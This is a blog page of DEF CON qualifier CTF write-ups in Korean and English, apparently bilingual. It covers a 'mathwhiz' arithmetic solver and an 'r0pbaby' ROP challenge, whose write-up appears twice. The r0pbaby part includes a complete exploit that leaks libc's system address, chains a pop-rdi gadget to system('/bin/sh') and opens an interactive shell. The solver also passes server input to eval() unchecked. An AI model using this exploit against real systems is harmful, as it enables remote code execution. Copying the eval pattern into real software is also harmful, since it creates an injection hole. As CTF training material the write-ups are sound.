English: Link


이번 대회에서 가장 쉬웠던 문제가 아닐까 합니다.

서버에 접속하면 1자리수와 덧셈, 뺄셈, 곱셈, 지수, 괄호 등으로 이루어진 식이 나옵니다.

이를 받아서 eval해주면 되는데, 중간중간에 함정이 있는데 종류는 다음과 같습니다.

함정1: 숫자가 영어로 나올 때가 있습니다. "THREE - ONE = " 이런 식입니다. 이를 숫자로 바꿔줍시다.

함정2: 중괄호, 대괄호가 나옵니다. 이는 파이썬에서 다른 의미를 지니므로 괄호로 바꿔줍시다.

함정3: 지수의 표현이 ^입니다. 파이썬에서 이는 XOR을 의미하므로 **로 바꿔줍시다.

처음엔 100번만 하면 되는줄 알았는데 1000번을 해야 flag가 나옵니다.

from socket import *

s = socket(2,1)
s.connect(('mathwhiz_c951d46fed68687ad93a84e702800b7a.quals.shallweplayaga.me', 21249))

d = {'one':'1','two':'2','three':'3','four':'4','five':'5','six':'6','seven':'7','eight':'8','nine':'9', '=':'', '[':'(', '{':'(', ']':')', '}':')', '^':'**'}

for i in range(1000):
    tmp = s.recv(1024)
    print i, tmp
    for j in d.iterkeys():
        if j in tmp.lower():
            tmp = tmp.lower().replace(j, d[j])
    s.send(`eval(tmp)`+'\n')

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()


Flag: Farva says you are a FickenChucker and you'd better watch Super Troopers 2

한국어(Korean): Link


We are given a binary below:

r0pbaby_542ee6516410709a1421141501f03760

As we can notice looking at the name, this is about ROP. Let's check the protections.

As imagined, NX is on and also PIE is.

Run the binary and we can easily find out what to do.

We can fetch the address of any function we want via No.2 and unleash overflow via No.3.

Let's take a look at how overflow occurs using gdb. To debug a PIE binary, you must first set "set stop-on-solib-events 1" option and then set BP after code section is loaded. Also set BP after calling memcpy where overflow occurs.

Our input is directly copied to rbp. So we can think of a payload like this:

dummy [A*8]

Address of "pop %rdi; retq"

Pointer to "/bin/sh"

system function


The reason why we put the address of "/bin/sh" in rdi is because arguments are passed not through stack but through register in x64 in this order:

rdi, rsi, rdx, r10, r9, r8

The first argument goes rdi.


We gotta find "pop rdi; retq" in libc using ROPgadget.

Then let's measure the distance between system and "/bin/sh", "pop %rdi; retq"

system-0x22b1a = 0x23b26 = 146214

Sadly we cannot find "/bin/sh" in libc using find command :( We gotta run a binary.

0x7ffff798dcdb-0x7ffff7857640=1271451

Final exploit code is as follows.

from socket import *
import struct

p = lambda x:struct.pack("<Q", x)

s = socket(2,1)
s.connect(('r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me',10436))

print s.recv(1024) # banner
print s.recv(1024) # menu

s.send('2\n')
print s.recv(1024) # which func?
s.send('system\n')
tmp = s.recv(1024)
print tmp
system_addr = eval(tmp.split(': ')[1])

payload = 'a'*8
payload += p(system_addr-146214) # pop rdi; retq;
payload += p(system_addr+1271451) # "/bin/sh"
payload += p(system_addr)
payload += '\n'

s.send('3\n'+`len(payload)`+'\n'+payload)

print s.recv(1024)
s.send('4\n')
print s.recv(1024)

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()



Flag: W3lcome TO THE BIG L3agu3s kiddo, wasn't your first?

English: Link


다음과 같은 바이너리가 주어집니다.

r0pbaby_542ee6516410709a1421141501f03760

문제 이름에서도 알 수 있듯 rop에 관한 문제입니다. 보호기법을 확인해봅시다.

예상했듯이 NX는 걸려있고 PIE도 걸려있네요.

binary를 실행하면 무엇을 해야하는지 쉽게 알 수 있습니다.

2번으로 원하는 함수의 주소를 건네받고 3번을 통해 overflow를 일으킵니다.

gdb를 통해 오버플로우 과정을 확인해봅시다. PIE 바이너리를 디버깅하려면 set stop-on-solib-events 1를 해준 다음에 code영역 주소가 결정되면 BP를 걸어줍니다. memcpy로 overflow가 일어나므로 memcpy 직후에 BP를 겁시다.

rbp에 바로 copy가 되네요. 그러면 다음과 같이 payload를 짤 수 있습니다.

dummy [A*8]

"pop %rdi; retq"의 주소

"/bin/sh" 포인터

system함수


여기서 rdi에 /bin/sh의 주소를 넣는 이유는 x64에서는 인자가 스택으로 전달되지 않고 다음 레지스터의 순서대로 전달됩니다.

rdi, rsi, rdx, r10, r9, r8

그래서 system의 첫 번째 인자는 rdi에 넣어줍니다.


"pop rdi; retq;" 명령어는 libc에서 ROPgadget으로 찾아봅시다.

그리고 system과 "/bin/sh", "pop %rdi; retq"의 거리를 구합시다.

system-0x22b1a = 0x23b26 = 146214

"/bin/sh"의 주소는 libc에서는 find로 안 구해지네요...ㅠ gdb에서 구합시다.

0x7ffff798dcdb-0x7ffff7857640=1271451

최종 exploit 코드는 다음과 같습니다.

from socket import *
import struct

p = lambda x:struct.pack("<Q", x)

s = socket(2,1)
s.connect(('r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me',10436))

print s.recv(1024) # banner
print s.recv(1024) # menu

s.send('2\n')
print s.recv(1024) # which func?
s.send('system\n')
tmp = s.recv(1024)
print tmp
system_addr = eval(tmp.split(': ')[1])

payload = 'a'*8
payload += p(system_addr-146214) # pop rdi; retq;
payload += p(system_addr+1271451) # "/bin/sh"
payload += p(system_addr)
payload += '\n'

s.send('3\n'+`len(payload)`+'\n'+payload)

print s.recv(1024)
s.send('4\n')
print s.recv(1024)

import telnetlib
tc = telnetlib.Telnet()
tc.sock = s
tc.interact()



Flag: W3lcome TO THE BIG L3agu3s kiddo, wasn't your first?

+ Recent posts